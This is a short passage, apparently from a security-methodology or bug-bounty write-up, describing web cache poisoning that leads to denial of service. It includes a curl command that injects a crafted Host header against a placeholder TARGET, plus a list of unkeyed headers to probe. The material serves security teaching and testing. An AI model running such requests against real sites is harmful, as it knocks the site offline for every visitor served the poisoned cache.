  3. Confirm the poisoned response is stored and served to normal visitors -> app tries to reach the bad host:port and breaks
curl 'https://TARGET/?letme=4447' -H 'Host: TARGET:8888' # then GET https://TARGET/?letme=4447 as a victim -> DoS state

Insight — Classic cache-poisoning-to-DoS: probe unkeyed inputs (Host, X-Forwarded-Host/Port/Scheme, extra headers) and see if any get reflected into a cached response. If the app derives backend URLs/ports from Host, poisoning it breaks availability for all cache-key victims. Always use a cache-buster param while testing prod.

§References & practice

  1. PortSwigger Web Security Academy — Web cache poisoning labs (hands-on practice).
  2. All 36 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.